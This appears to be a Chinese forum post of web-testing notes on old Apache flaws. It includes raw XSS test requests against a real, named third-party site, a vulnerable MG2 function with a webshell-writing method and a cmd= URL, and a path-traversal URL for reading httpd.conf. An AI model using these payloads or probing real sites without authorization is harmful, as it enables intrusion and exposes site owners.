设为首页 收藏本站
查看: 1015|回复: 0

[经验分享] WEB测试:***apache

[复制链接]

尚未签到

发表于 2018-11-29 08:06:10 | 显示全部楼层 |阅读模式
  这次提供的漏洞都是平时积累来的,但是只有很少的我具体实际过,时间和精力有限,更多的技术上的东西还希望大家提供并讨论。  正文
  9.1Expect跨站漏洞
  Apache在接收Expect这个HTTP报头会直接输出报头的错误信息,错误信息的内容并没有被转义。这个漏洞本来以为会随着apathe的升级而消失,但是在网上随便找了几个php的服务器,发现很多并没有升级,仍然存在问题。
  对网址http://safesurf.china.cn/data_form.php做了一个简单测试。发送请求为:
  GET /data_form.php HTTP/1.1
  Host: safesurf.china.cn
  User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: zh-cn
  Accept-Encoding: gzip,deflate
  Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7
  Keep-Alive: 300
  Connection: keep-alive
  Expect: abcd
  我在最后添加了一个Expect: abcd的请求。得到相应如下:
  HTTP/1.x 417 Expectation Failed
  Date: Wed, 12 Nov 2008 01:46:21 GMT
  Server: Apache/1.3.29 (Unix) PHP/4.3.4
  Keep-Alive: timeout=15, max=100
  Connection: Keep-Alive
  Transfer-Encoding: chunked
  Content-Type: text/html;

  我们可以看到错误信息中的"Expect:abcd",是我们提交的请求。这时候就该考虑是不是存在跨站的漏洞,继续测试。
  发送请求(注意最后的Expect请求):
  GET /data_form.php HTTP/1.1
  Host: safesurf.china.cn
  User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: zh-cn
  Accept-Encoding: gzip,deflate
  Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7
  Keep-Alive: 300
  Connection: keep-alive
  Expect: alert('hello')
  得到响应:
  HTTP/1.x 417 Expectation Failed
  Date: Wed, 12 Nov 2008 01:53:34 GMT
  Server: Apache/1.3.29 (Unix) PHP/4.3.4
  Keep-Alive: timeout=15, max=100
  Connection: Keep-Alive
  Transfer-Encoding: chunked
  Content-Type: text/html; charset=iso-8859-1

  证明该服务器是存在跨站漏洞的。对于跨站***我们以后会具体涉及,我也不是很清楚把具体的网址暴露出来是否合适?
  9.2php文件名解析漏洞
  以.php开头的文件名或者类似index.php.en,index.php.fr等都可以当做PHP解析。这是一个比较老的漏洞,援引网上的一篇文章做一下解释。
  "MG2是在国外非常流行的一个PHP+HTML的图片管理程序,由于商业版被破解,程序流传甚广,
  在google搜索关键字为"owered by MG2 v0.5.1"
  最新版本存在着文件写入漏洞,可配和Apache漏洞直接得shell
  includes/mg2_functions.php中addcomment()函数如下
  function addcomment() {
  $_REQUEST['filename'] = $this->charfix($_REQUEST['filename']);
  $_REQUEST['input'] = $this->charfix($_REQUEST['input']);
  $_REQUEST['email'] = $this->charfix($_REQUEST['email']);
  $_REQUEST['name'] = $this->charfix($_REQUEST['name']);
  $_REQUEST['input'] = strip_tags($_REQUEST['input'], "");
  $_REQUEST['input'] = str_replace("\n","",$_REQUEST['input']);
  $_REQUEST['input'] = str_replace("\r","",$_REQUEST['input']);
  if ($_REQUEST['input'] != "" && $_REQUEST['name'] != "" && $_REQUEST['email'] != "") {
  $this->readcomments("pictures/" . $_REQUEST['filename'] . ".comment");
  $comment_exists = $this->select($_REQUEST['input'],$this->comments,3,1,0);
  $comment_exists = $this->select($_REQUEST['name'],$comment_exists,1,1,0);
  $comment_exists = $this->select($_REQUEST['email'],$comment_exists,2,1,0);
  if (count($comment_exists) == 0) {
  $this->comments[] = array(time(), $_REQUEST['name'], $_REQUEST['email'], $_REQUEST['input']);
  $this->writecomments($_REQUEST['filename'] . ".comment");
  ........
  漏洞很明显,可以自定义comment的文件名,如果你自定义的filename为".php",那么程序就会在
  图片根目录下生成一个".php.comment"的文件,由于Apache的漏洞,该程序被当做php文件解析,webshell就到手了,
  写了个利用程序如下:
  提交后就会在图片根目录下生成一个含一句话***的文件".php.comment"
  http://localhost/mg2/pictures/.php.comment?cmd=phpinfo();"
  9.3分块(chunked)编码远程溢出漏洞   
  这是在02年左右出现的一个漏洞,但是现在看来该漏洞仍然存在并危害着很多网站。
  Apache在处理以分块(chunked)方式传输数据的HTTP请求时存在设计漏洞,远程***者可能利用此漏洞在某些Apache服务器上以Web服务器进程的权限执行任意指令或进行拒绝服务***。
  分块编码(chunked encoding)传输方式是HTTP 1.1协议中定义的Web用户向服务器提交数据的一种方法,当服务器收到 chunked编码方式的数据时会分配一个缓冲区存放之,如果提交的数据大小未知,客户端会以一个协商好的分块大小向服务器提交数据。
  Apache服务器缺省也提供了对分块编码(chunked encoding)支持。Apache使用了一个有符号变量储存分块长度,同时分配 了一个固定大小的堆栈缓冲区来储存分块数据。出于安全考虑,在将分块数据拷贝到缓冲区之前,Apache会对分块长度进行检查,如果分块长度大于缓冲区长 度,Apache将最多只拷贝缓冲区长度的数据,否则,则根据分块长度进行数据拷贝。然而在进行上述检查时,没有将分块长度转换为无符号型进行比较,因 此,如果***者将分块长度设置成一个负值,就会绕过上述安全检查,Apache会将一个超长(至少>0x80000000字节)的分块数据拷贝到缓 冲区中,这会造成一个缓冲区溢出。
  对于Apache 2.0到2.0.36(含2.0.36),尽管存在同样的问题代码,但它会检测错误出现的条件并使子进程退出。
  根据不同因素,包括受影响系统支持的线程模式的影响,本漏洞可导致各种操作系统下运行的Apache Web服务器拒绝服务。
  The Retina Apache Chunked Scanner 是 eEye 公司开发的一款Apache 分块编码缓冲区溢出漏洞扫描软件,可同时扫描254个IP,如果它发现存在漏洞的IP,就会记录下来,系统管理员只要通过双击该IP,就可以获得该漏洞的修补方法.。

  网上还可以找到关于这个漏洞的溢出程序和源代码,在Google中搜索"Apache Exploit",可以得到更多的信息。有了这两样东西,问题就简单多了。
  另外需要说明的是如果我们使用这个扫描程序的时候不选择"show only。。。"那个选项的话,该软件可以告诉我们网段内的所有web服务器类型。
  9.3 Php 3文件外泄漏洞
  发现在使用了 PHP3 脚本的 Apache Web Server 中,存在一个安全漏洞。
  通过 php 发送一个指定的 URL,就能使一个用户获得一个目标机上已知文件的读权限。成功的利用该漏洞,将导致敏感信息的泄露,为进一步的***提供了方便。
  例如:(Windows 2000 + Apache 1.3.6 + PHP3)
  提供下列 URL:
  http://taget/index.php3.%5c../..%5cconf/httpd.conf
  你将可以查看 httpd.conf 文件。
  下面这些漏洞本人没做过任何实际操作,所以也无权发表心得,给出参考,希望大家能提供相关的实践经验和资料。
  9.4错误日志转义序列注入漏洞
  详见http://blog.ixpub.net/html/95/13151495-338483.html
  9.5 MIME Boundary远程信息泄露漏洞
  详见http://netsecurity.运维网.com/art/200508/5931.htm
  9.6 ETag头远程信息泄露漏洞
  详见http://netsecurity.运维网.com/art/200508/5931.htm
  9.7 Mod_Auth_Any远程命令执行漏洞
  详见http://www.nsfocus.net/vulndb/4774
  9.8 mod_proxy_http模块中间响应拒绝服务漏洞


运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-640929-1-1.html 上篇帖子: Apache与Tomcat的安装与整合之整合篇 下篇帖子: Apache启动认证
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表